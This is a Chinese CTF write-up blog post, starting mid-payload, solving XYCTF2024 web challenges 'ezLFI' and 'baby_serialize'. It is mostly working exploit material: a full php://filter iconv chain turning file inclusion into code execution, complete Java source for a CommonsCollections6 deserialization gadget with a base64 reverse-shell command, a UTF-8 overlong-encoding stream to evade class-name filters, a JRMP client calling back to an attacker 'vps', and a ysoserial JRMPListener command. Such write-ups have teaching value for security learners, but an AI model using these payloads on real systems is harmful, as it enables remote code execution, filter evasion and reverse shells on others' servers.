F7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

ezLFI

这里用的是include_once，不能用常规的文件包含。

很显然我们要不仅要LFI，还要RCE，执行根目录下的readflag。

其实还是一样，用长编码套payload打就完事了：

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=/readflag

baby_serialize（复现）

没给jar包的java，黑盒。

真不好打。

这里分析借用佬的：XYCTF2024-Web方向题解-CSDN博客

BadAttributeValueExpException 可行
cb链 没有
jackson 没有
fastjson 没有
c3p0 没有
rome 没有
hessian 没有

一些常用的gadget
HotSwappable
XString也没有
甚至连templatesImpl也没有

这里很难想到它后台的过滤规则。

用CC链打就会回显HOW DARE YOU

其实这里的过滤规则仅仅就是绕commons.collections

我当时几个gadget试不出来就没打了.....还是太菜了....

抄一下佬的payload，

CC6：

package com.eddiemurphy;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import gdufs.challenge.web.Utils;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,<base64的反弹shell>}|{base64,-d}|{bash,-i}"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));



        TiedMapEntry tiedMapEntry =  new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> hashMap = new HashMap<>();



        hashMap.put(tiedMapEntry, "bbb");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

        ByteArrayOutputStream baos0 = new ByteArrayOutputStream();

        /*ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);

        objectOutputStream.writeObject(hashMap);
        System.out.println(new String(baos.toByteArray()));*/

        UTF8_overlong_encode encode = new UTF8_overlong_encode(baos0);
        encode.writeObject(hashMap);

        System.out.println(new String(baos0.toByteArray()));

        System.out.println();
        System.out.println();

        //System.out.println(Serialize(hashMap));
        //String ser = Serialize(hashMap);
        //UnSerialize(ser);
        //UnSerialize(ser);
        /*ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(baos0.toByteArray()));
        objectInputStream.readObject();
        objectInputStream.close();*/
        System.out.println(Utils.Base64_Encode(baos0.toByteArray()));
    }

}

工具类：

package gdufs.challenge.web;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Utils {
    public static String getTemplatesImplBase64() throws Exception{
        return new String(Base64.getEncoder().encode(GenerateEvil()));
    }

    public static byte[] GenerateEvil() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        return ctClass.toBytecode();
    }

    public static void SetValue(Object obj, String name, Object value) throws Exception {
        Class clz = obj.getClass();
        Field nameField = clz.getDeclaredField(name);
        nameField.setAccessible(true);
        nameField.set(obj, value);
    }
    public static TemplatesImpl getTemplatesImpl() throws Exception{
        byte[][] bytes = new byte[][]{GenerateEvil()};
        TemplatesImpl templates = new TemplatesImpl();
        SetValue(templates, "_bytecodes", bytes);
        SetValue(templates, "_name", "aaa");
        SetValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
    public static String Serialize(Object o) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(o);
        String str = new String(Base64.getEncoder().encode(baos.toByteArray()));
        return str;
    }
    public static void UnSerialize(String str) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(str)));
        objectInputStream.readObject();
    }
    public static String Base64_Encode(byte[] bytes) throws Exception{
        return new String(Base64.getEncoder().encode(bytes));
    }
    public static String Byte2Hex(byte[] bytes) throws Exception{
        StringBuilder builder = new StringBuilder();
        for(byte b: bytes){
            builder.append(String.format("%02X", b));
        }
        System.out.println(builder.toString());
        return builder.toString();
    }
    public static byte[] Hex2Byte(String hexString) {
        int len = hexString.length();
        byte[] data = new byte[len / 2];
        for (int i = 0; i < len; i += 2) {
            data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
                    + Character.digit(hexString.charAt(i+1), 16));
        }
        return data;
    }
}

package com.eddiemurphy;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
 * 参考p神：https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
 * 参考1ue：https://t.zsxq.com/17LkqCzk8
 * 实现：参考 OObjectOutputStream# protected void writeClassDescriptor(ObjectStreamClass desc)方法
 */
public class UTF8_overlong_encode extends ObjectOutputStream {

    public UTF8_overlong_encode(OutputStream out) throws IOException {
        super(out);
    }

    private static HashMap<Character, int[]> map;
    private static Map<Character,int[]> bytesMap=new HashMap<>();

    static {
        map = new HashMap<>();
        map.put('.', new int[]{0xc0, 0xae});
        map.put(';', new int[]{0xc0, 0xbb});
        map.put('$', new int[]{0xc0, 0xa4});
        map.put('[', new int[]{0xc1, 0x9b});
        map.put(']', new int[]{0xc1, 0x9d});
        map.put('a', new int[]{0xc1, 0xa1});
        map.put('b', new int[]{0xc1, 0xa2});
        map.put('c', new int[]{0xc1, 0xa3});
        map.put('d', new int[]{0xc1, 0xa4});
        map.put('e', new int[]{0xc1, 0xa5});
        map.put('f', new int[]{0xc1, 0xa6});
        map.put('g', new int[]{0xc1, 0xa7});
        map.put('h', new int[]{0xc1, 0xa8});
        map.put('i', new int[]{0xc1, 0xa9});
        map.put('j', new int[]{0xc1, 0xaa});
        map.put('k', new int[]{0xc1, 0xab});
        map.put('l', new int[]{0xc1, 0xac});
        map.put('m', new int[]{0xc1, 0xad});
        map.put('n', new int[]{0xc1, 0xae});
        map.put('o', new int[]{0xc1, 0xaf});
        map.put('p', new int[]{0xc1, 0xb0});
        map.put('q', new int[]{0xc1, 0xb1});
        map.put('r', new int[]{0xc1, 0xb2});
        map.put('s', new int[]{0xc1, 0xb3});
        map.put('t', new int[]{0xc1, 0xb4});
        map.put('u', new int[]{0xc1, 0xb5});
        map.put('v', new int[]{0xc1, 0xb6});
        map.put('w', new int[]{0xc1, 0xb7});
        map.put('x', new int[]{0xc1, 0xb8});
        map.put('y', new int[]{0xc1, 0xb9});
        map.put('z', new int[]{0xc1, 0xba});
        map.put('A', new int[]{0xc1, 0x81});
        map.put('B', new int[]{0xc1, 0x82});
        map.put('C', new int[]{0xc1, 0x83});
        map.put('D', new int[]{0xc1, 0x84});
        map.put('E', new int[]{0xc1, 0x85});
        map.put('F', new int[]{0xc1, 0x86});
        map.put('G', new int[]{0xc1, 0x87});
        map.put('H', new int[]{0xc1, 0x88});
        map.put('I', new int[]{0xc1, 0x89});
        map.put('J', new int[]{0xc1, 0x8a});
        map.put('K', new int[]{0xc1, 0x8b});
        map.put('L', new int[]{0xc1, 0x8c});
        map.put('M', new int[]{0xc1, 0x8d});
        map.put('N', new int[]{0xc1, 0x8e});
        map.put('O', new int[]{0xc1, 0x8f});
        map.put('P', new int[]{0xc1, 0x90});
        map.put('Q', new int[]{0xc1, 0x91});
        map.put('R', new int[]{0xc1, 0x92});
        map.put('S', new int[]{0xc1, 0x93});
        map.put('T', new int[]{0xc1, 0x94});
        map.put('U', new int[]{0xc1, 0x95});
        map.put('V', new int[]{0xc1, 0x96});
        map.put('W', new int[]{0xc1, 0x97});
        map.put('X', new int[]{0xc1, 0x98});
        map.put('Y', new int[]{0xc1, 0x99});
        map.put('Z', new int[]{0xc1, 0x9a});


        bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
        bytesMap.put('.', new int[]{0xe0,0x80,0xae});
        bytesMap.put(';', new int[]{0xe0,0x80,0xbb});
        bytesMap.put('A', new int[]{0xe0,0x81,0x81});
        bytesMap.put('B', new int[]{0xe0,0x81,0x82});
        bytesMap.put('C', new int[]{0xe0,0x81,0x83});
        bytesMap.put('D', new int[]{0xe0,0x81,0x84});
        bytesMap.put('E', new int[]{0xe0,0x81,0x85});
        bytesMap.put('F', new int[]{0xe0,0x81,0x86});
        bytesMap.put('G', new int[]{0xe0,0x81,0x87});
        bytesMap.put('H', new int[]{0xe0,0x81,0x88});
        bytesMap.put('I', new int[]{0xe0,0x81,0x89});
        bytesMap.put('J', new int[]{0xe0,0x81,0x8a});
        bytesMap.put('K', new int[]{0xe0,0x81,0x8b});
        bytesMap.put('L', new int[]{0xe0,0x81,0x8c});
        bytesMap.put('M', new int[]{0xe0,0x81,0x8d});
        bytesMap.put('N', new int[]{0xe0,0x81,0x8e});
        bytesMap.put('O', new int[]{0xe0,0x81,0x8f});
        bytesMap.put('P', new int[]{0xe0,0x81,0x90});
        bytesMap.put('Q', new int[]{0xe0,0x81,0x91});
        bytesMap.put('R', new int[]{0xe0,0x81,0x92});
        bytesMap.put('S', new int[]{0xe0,0x81,0x93});
        bytesMap.put('T', new int[]{0xe0,0x81,0x94});
        bytesMap.put('U', new int[]{0xe0,0x81,0x95});
        bytesMap.put('V', new int[]{0xe0,0x81,0x96});
        bytesMap.put('W', new int[]{0xe0,0x81,0x97});
        bytesMap.put('X', new int[]{0xe0,0x81,0x98});
        bytesMap.put('Y', new int[]{0xe0,0x81,0x99});
        bytesMap.put('Z', new int[]{0xe0,0x81,0x9a});
        bytesMap.put('[', new int[]{0xe0,0x81,0x9b});
        bytesMap.put(']', new int[]{0xe0,0x81,0x9d});
        bytesMap.put('a', new int[]{0xe0,0x81,0xa1});
        bytesMap.put('b', new int[]{0xe0,0x81,0xa2});
        bytesMap.put('c', new int[]{0xe0,0x81,0xa3});
        bytesMap.put('d', new int[]{0xe0,0x81,0xa4});
        bytesMap.put('e', new int[]{0xe0,0x81,0xa5});
        bytesMap.put('f', new int[]{0xe0,0x81,0xa6});
        bytesMap.put('g', new int[]{0xe0,0x81,0xa7});
        bytesMap.put('h', new int[]{0xe0,0x81,0xa8});
        bytesMap.put('i', new int[]{0xe0,0x81,0xa9});
        bytesMap.put('j', new int[]{0xe0,0x81,0xaa});
        bytesMap.put('k', new int[]{0xe0,0x81,0xab});
        bytesMap.put('l', new int[]{0xe0,0x81,0xac});
        bytesMap.put('m', new int[]{0xe0,0x81,0xad});
        bytesMap.put('n', new int[]{0xe0,0x81,0xae});
        bytesMap.put('o', new int[]{0xe0,0x81,0xaf});
        bytesMap.put('p', new int[]{0xe0,0x81,0xb0});
        bytesMap.put('q', new int[]{0xe0,0x81,0xb1});
        bytesMap.put('r', new int[]{0xe0,0x81,0xb2});
        bytesMap.put('s', new int[]{0xe0,0x81,0xb3});
        bytesMap.put('t', new int[]{0xe0,0x81,0xb4});
        bytesMap.put('u', new int[]{0xe0,0x81,0xb5});
        bytesMap.put('v', new int[]{0xe0,0x81,0xb6});
        bytesMap.put('w', new int[]{0xe0,0x81,0xb7});
        bytesMap.put('x', new int[]{0xe0,0x81,0xb8});
        bytesMap.put('y', new int[]{0xe0,0x81,0xb9});
        bytesMap.put('z', new int[]{0xe0,0x81,0xba});

    }



    public void charWritTwoBytes(String name){
        //将name进行overlong Encoding
        byte[] bytes=new byte[name.length() * 2];
        int k=0;
        StringBuffer str=new StringBuffer();
        for (int i = 0; i < name.length(); i++) {
            int[] bs = map.get(name.charAt(i));
            bytes[k++]= (byte) bs[0];
            bytes[k++]= (byte) bs[1];
            str.append(Integer.toHexString(bs[0])+",");
            str.append(Integer.toHexString(bs[1])+",");
        }
        System.out.println(str.toString());
        try {
            writeShort(name.length() * 2);
            write(bytes);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }
    public void charWriteThreeBytes(String name){
        //将name进行overlong Encoding
        byte[] bytes=new byte[name.length() * 3];
        int k=0;
        StringBuffer str=new StringBuffer();
        for (int i = 0; i < name.length(); i++) {
            int[] bs = bytesMap.get(name.charAt(i));
            bytes[k++]= (byte) bs[0];
            bytes[k++]= (byte) bs[1];
            bytes[k++]= (byte) bs[2];
            str.append(Integer.toHexString(bs[0])+",");
            str.append(Integer.toHexString(bs[1])+",");
            str.append(Integer.toHexString(bs[2])+",");
        }
        System.out.println(str.toString());
        try {
            writeShort(name.length() * 3);
            write(bytes);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }


    protected void writeClassDescriptor(ObjectStreamClass desc)
            throws IOException {
        String name = desc.getName();
        boolean externalizable = (boolean) getFieldValue(desc, "externalizable");
        boolean serializable = (boolean) getFieldValue(desc, "serializable");
        boolean hasWriteObjectData = (boolean) getFieldValue(desc, "hasWriteObjectData");
        boolean isEnum = (boolean) getFieldValue(desc, "isEnum");
        ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
        System.out.println(name);
        //写入name（jdk原生写入方法）
//        writeUTF(name);
        //写入name(两个字节表示一个字符)
//        charWritTwoBytes(name);
        //写入name(三个字节表示一个字符)
        charWriteThreeBytes(name);


        writeLong(desc.getSerialVersionUID());
        byte flags = 0;
        if (externalizable) {
            flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
            Field protocolField =
                    null;
            int protocol;
            try {
                protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
                protocolField.setAccessible(true);
                protocol = (int) protocolField.get(this);
            } catch (NoSuchFieldException e) {
                throw new RuntimeException(e);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            }
            if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
                flags |= ObjectStreamConstants.SC_BLOCK_DATA;
            }
        } else if (serializable) {
            flags |= ObjectStreamConstants.SC_SERIALIZABLE;
        }
        if (hasWriteObjectData) {
            flags |= ObjectStreamConstants.SC_WRITE_METHOD;
        }
        if (isEnum) {
            flags |= ObjectStreamConstants.SC_ENUM;
        }
        writeByte(flags);

        writeShort(fields.length);
        for (int i = 0; i < fields.length; i++) {
            ObjectStreamField f = fields[i];
            writeByte(f.getTypeCode());
            writeUTF(f.getName());
            if (!f.isPrimitive()) {
                invoke(this, "writeTypeString", f.getTypeString());
            }
        }
    }

    public static void invoke(Object object, String methodName, Object... args) {
        Method writeTypeString = null;
        try {
            writeTypeString = ObjectOutputStream.class.getDeclaredMethod(methodName, String.class);
            writeTypeString.setAccessible(true);
            try {
                writeTypeString.invoke(object, args);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            } catch (InvocationTargetException e) {
                throw new RuntimeException(e);
            }
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        }
    }

    public static Object getFieldValue(Object object, String fieldName) {
        Class<?> clazz = object.getClass();
        Field field = null;
        Object value = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
            value = field.get(object);
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        return value;
    }
}

环境变量拿下flag：

还是有点东西。

------------------------------------------

这里突然想到hgame week4的java，打的JRMP，这个我还没试过，后面再打了一个，发现JRMP可行。

这里踩了个小坑，我在原来随便搞的环境上跑，结果报错了：IDEA 报错，无效的源发行版无效的目标发行版解决方法_无效的目标发行版: 20-CSDN博客

我干脆重新创了个环境，这下没事了：

package com.eddiemurphy;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;

public class JRMPClient {
    public static void main(String[] args) throws Exception {
        ObjID id = new ObjID();
        TCPEndpoint te = new TCPEndpoint("vps", 1338);
        LiveRef liveRef = new LiveRef(id, te, false);
        UnicastRef ref = new UnicastRef(liveRef);
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        byte[] byteArray = barr.toByteArray();

        String res = Base64.getEncoder().encodeToString(byteArray);
        System.out.println(res);
    }
}

payload记得url编码，vps用JRMPServer打CC6反弹shell：

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1338 CommonsCollections6 'bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}'

其实想想这里就是借了JRMP来打二次反序列化绕过限制，确实应该想到的。

娱乐赛少打吧以后，后面要专注打线下了。

posted @ 2024-04-27 14:00 Eddie_Murphy 阅读(36) 评论(0) 编辑收藏举报

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